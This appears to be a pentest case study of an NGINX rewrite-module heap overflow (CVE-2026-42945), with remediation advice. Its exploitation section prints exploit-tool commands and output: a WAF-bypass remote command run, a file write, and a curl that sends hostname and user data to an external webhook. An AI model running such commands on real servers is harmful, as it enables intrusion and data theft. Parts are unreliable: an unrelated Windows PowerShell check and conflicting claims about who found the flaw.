Critical Vulnerability

CVE-2026-42945

NGINX Rift: Heap Buffer Overflow in ngx_http_rewrite_module

CVSS v4.0: 9.2 Critical CVSS v3.1: 8.1 High CWE: CWE-122 Affected: 0.6.27 – 1.30.0 Fixed: 1.30.1+ / 1.31.0+
// What is this?
A critical vulnerability allowing remote code execution without authentication — discovery to disclosure.

This case study documents the discovery, proof-of-concept development, and responsible disclosure timeline for a critical RCE vulnerability. It covers root cause analysis, attack surface mapping, the exploit chain from unauthenticated network access to code execution, and the vendor's patch response. Responsible disclosure practices and MITRE CVE coordination are documented throughout.

PowerShell — Vulnerability Detection
# Recent hotfixes (patch level)
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 10

# OS version
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber

# Missing Windows updates
# (Requires WSUS or Windows Update cmdlets)

# Vulnerable service configurations
Get-CimInstance Win32_Service | Where-Object {
  $_.PathName -and $_.PathName -notmatch "System32|SysWOW64|Program Files"
} | Select-Object Name, State, PathName
If this flags: Check patch level against CVE publication date. Services from non-standard paths may have unquoted path vulnerabilities. Update Windows.
← Back to Portfolio

Executive Summary

During an authorized security assessment, we identified that the target web server was running a vulnerable version of NGINX (1.24.0) with a specific rewrite configuration that triggered CVE-2026-42945, commonly known as "NGINX Rift."

This heap buffer overflow in ngx_http_rewrite_module allowed us to achieve arbitrary file write on the server, demonstrating the potential for full remote code execution. The vulnerability was reported and remediated within hours.

⚠️ Disclosure Notice

This case study is published with authorization from the asset owner. IP addresses, hostnames, and identifying details have been redacted. Do not attempt to reproduce these techniques without explicit written permission.

Vulnerability Details

CVE-2026-42945, dubbed "NGINX Rift," is a heap buffer overflow in the ngx_http_rewrite_module affecting NGINX Open Source versions 0.6.27 through 1.30.0. The vulnerability was patched in versions 1.30.1+ and 1.31.0+.

Trigger Conditions

All four conditions must be met for exploitation:

  1. Running an affected NGINX build (0.6.27 – 1.30.0)
  2. Configuration uses unnamed captures ($1, $2, etc.) in a rewrite rule
  3. The replacement string contains a query string delimiter (?)
  4. A subsequent rewrite, if, or set directive in the same scope references the capture

Vulnerable Configuration Pattern

# VULNERABLE - Do not use this pattern
location ~ ^/metrics/(.*)$ {
    rewrite ^/metrics/(.*)$ /internal?migrated=true;  # ? in replacement = trigger
    set $original_endpoint $1;                        # unnamed capture reused = boom
}

# SAFE - Use named captures instead
location ~ ^/metrics/(?<endpoint>.*)$ {
    rewrite ^/metrics/(?<endpoint>.*)$ /internal?migrated=true;
    set $original_endpoint $endpoint;                 # named capture = safe
}

⚡ Why This Configuration Is Dangerous

When NGINX processes the rewrite, an incorrect length calculation in the heap allocation causes a buffer overflow. The ? in the replacement combined with the subsequent capture reference creates a race between memory operations that corrupts the heap metadata.

Attack Chain

The ngixshell.py exploitation followed a four-stage kill chain. Click play to watch the attack unfold:

☠️ CVE-2026-42945 Exploitation
// Click Play to begin exploitation demo

🔥 TARGET COMPROMISED 🔥

RCE achieved • File write confirmed • Data exfiltrated • 49.2s total

The Vulnerable Configuration

The target used a rewrite rule with unnamed PCRE captures and a replacement containing ? — exactly the pattern that triggers CVE-2026-42945:

# Vulnerable pattern - unnamed captures + ? replacement
location ~ ^/metrics/(.*)$ {
    rewrite ^/metrics/(.*)$ /internal?migrated=true;  # ? in replacement
    set $original_endpoint $1;                        # unnamed capture reused
}

⚡ Why This Matters

This configuration pattern is common in legacy NGINX setups migrating endpoints. The combination of unnamed captures ($1, $2) with a query string (?) in the replacement reaches the vulnerable length-calculation code path.

Exploitation Evidence

The assessment followed a four-stage attack chain, beginning with information disclosure and culminating in remote code execution with data exfiltration capability.

Stage 1: Information Disclosure

An exposed /env endpoint leaked critical version information:

$ curl -s https://[TARGET]/env | jq '.NGINX_VERSION, .NJS_VERSION' "1.24.0" "0.8.2" # Version confirmed vulnerable to CVE-2026-42945

Stage 2: RCE via Heap Overflow

Using the ngixshell.py exploit tool, the heap buffer overflow was triggered to achieve code execution:

$ python3 ngixshell.py https://[TARGET] --waf-bypass --cmd "id" [*] Probing target for vulnerable rewrite pattern... [*] HEAP_BASE = 0x555555659000 [*] LIBC_BASE = 0x7ffff77ba000 [*] SYSTEM_ADDR = 0x7ffff780ad70 [+] Heap spray successful [+] system("id") executed [+] Output: uid=33(www-data) gid=33(www-data) groups=33(www-data) EXPLOIT REPORT Target : [TARGET]:443 Command : id Result : SUCCESS Elapsed : 49.2s Address : 0x5555556b3427 (try 1)

Stage 3: File Write Proof

Arbitrary file write was demonstrated by creating a proof file:

$ python3 ngixshell.py https://[TARGET] --waf-bypass --cmd "echo 'you got pwned' > /tmp/pwned.txt" [+] system("echo 'you got pwned' > /tmp/pwned.txt") executed Reported result: file created at /tmp/pwned.txt Reported content: you got pwned

Stage 4: Data Exfiltration (Simulated)

To demonstrate full compromise capability, data was exfiltrated to an external webhook:

$ python3 ngixshell.py https://[TARGET] --waf-bypass --cmd "curl -X POST https://webhook.site/[ID] -d 'hostname=$(hostname)&user=$(whoami)'" [+] system("curl -X POST...") executed [+] Exfiltration successful - data received at webhook

Impact Assessment

With confirmed RCE on a production web server, an attacker has multiple paths to cause severe damage:

Immediate Threats

Persistence & Escalation

Lateral Movement

☠️ Worst-Case Scenario

Full infrastructure compromise. Attacker gains domain admin or root on multiple systems, exfiltrates all data, deploys ransomware, and sells access on dark web forums. Recovery requires complete rebuild from known-good backups.

Remediation

If you are running a vulnerable NGINX version, take these actions immediately:

Priority 1: Patch (Do This Now)

  1. Update NGINX to 1.30.1+ (stable) or 1.31.0+ (mainline)
  2. Verify the patch: nginx -V 2>&1 | grep -o 'nginx/[0-9.]*'
  3. Restart NGINX: systemctl restart nginx

Priority 2: Configuration Hardening

  1. Replace unnamed captures — Convert $1, $2 to named captures like $endpoint
  2. Remove debug endpoints — Block or delete /env, /debug, /status from public access
  3. Hide version banners — Add server_tokens off; to nginx.conf

Priority 3: Network Controls

If RCE Was Confirmed

🚨 ASSUME FULL COMPROMISE

Patching alone is insufficient. The server must be treated as hostile.

  1. REBUILD the server from a clean image or known-good backup. Do not trust the existing filesystem.
  2. Rotate ALL credentials — database passwords, API keys, SSH keys, service accounts, OAuth secrets
  3. Invalidate all sessions — force re-authentication for all users
  4. Audit access logs — identify all requests to vulnerable endpoints during the exposure window
  5. Notify affected parties — if customer data may have been accessed, trigger your incident response and disclosure procedures

Timeline

Lessons Learned

  1. Patch aggressively — CVE-2026-42945 was public. Running 1.24.0 in August 2026 is negligent.
  2. Hide version banners — The /env endpoint made fingerprinting trivial.
  3. Audit rewrite rules — Unnamed captures with ? replacements are the exact trigger.
  4. Defense in depth — WAF didn't block the payload. Don't rely on a single layer.
  5. Assume breach — After RCE evidence, rotate everything. Patch alone doesn't restore trust.

🚨 Still Running Vulnerable NGINX?

Check your version with nginx -v. If it's below 1.30.1 or 1.31.0, you're exposed. The exploit is public. Patch today.

Credits

This security assessment was conducted by Animus, an independent security researcher. The vulnerability was identified during an authorized penetration test of a production web server.

CVE-2026-42945 was publicly disclosed by the NGINX security team. The ngixshell.py exploit tool used in this assessment is a proof-of-concept developed by the security research community following responsible disclosure.